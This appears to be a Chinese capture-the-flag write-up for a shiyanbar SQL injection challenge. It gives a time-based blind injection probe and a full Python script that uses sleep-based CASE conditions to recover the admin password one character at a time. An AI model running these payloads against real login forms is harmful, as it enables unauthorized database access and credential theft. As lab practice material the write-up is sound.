实验吧-看起来有点难

看起来有点难

直接啊,时间注入测试搞一下就知道,输入地址栏:

http://ctf5.shiyanbar.com/basic/inject/index.php?username=admin' and sleep(10) and ''='&pass=&action=login

发现有延迟,sleep起作用了。

这句话好难理解,记录一下。 注意:对于普通的get注入,如果是字符型,前加'   后加 and ''=' 

这里=就是bool等于的意思也可以换成别的,只要sql语句正常执行就行,不过‘=’是最简单方便的。

回到题目链接(链接数据库失败的直接丢了,只有admin特殊为用户名密码错误,应该有猫腻,看图):

实验吧-看起来有点难_第1张图片

实验吧-看起来有点难_第2张图片

实验吧-看起来有点难_第3张图片

那么就假定admin=admin

#-*-coding:utf-8-*-
import requests  
import time  
  
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}*'  #不区分大小写的  
  
flag = ""  
key=0  
print("Start")  
for i in range(1,50):  
    if key == 1:  
        break  
    for payload in payloads:  
        starttime = time.time()#记录当前时间  
        headers = {"Host": "ctf5.shiyanbar.com",  
                   "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36",  
                   "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",  
                   "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",  
                   "Accept-Encoding": "gzip, deflate",  
                   "Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471487815; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*67928%2CnickName%3Ayour",  
                   "Connection": "keep-alive",  
                   }  
        url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(10) else sleep(0) end and ''='&pass=&action=login" %(i,payload)#数据库  
        res = requests.get(url, headers=headers)  
        if time.time() - starttime > 10:  
            flag += payload  
            print("pwd is:%s"%flag)  
            break  
        else:  
            if payload == '*':  
                key = 1  
                break  
print('[Finally] current pwd is %s'% flag)  

1.网络要好,我第一次时间间隔设置的是5,run每次的结果都不一样来着,后来改成了10(参考篇作者的测试)

2.加个检测到最后一个playload中的*,如果是最后了肯定是没有匹配上,直接结束吧。
3.注意下substr在sql与php中不同,sql中从1开始为第一个其实位置,所以range(50)调整为range(1,50)

4.在运行的时候最好什么都不要动,这就说明它的不稳定,不然测出来就像1.一样情况吧。

5.sleep(10)测完改成sleep(5)也能测出来。说明没毛病。

实验吧-看起来有点难_第4张图片

实验吧-看起来有点难_第5张图片



方法二:sqlmap也可以一直没成功啊,继续探索。。。。。。。。。。。


致谢:参考

你可能感兴趣的:(实验吧-看起来有点难)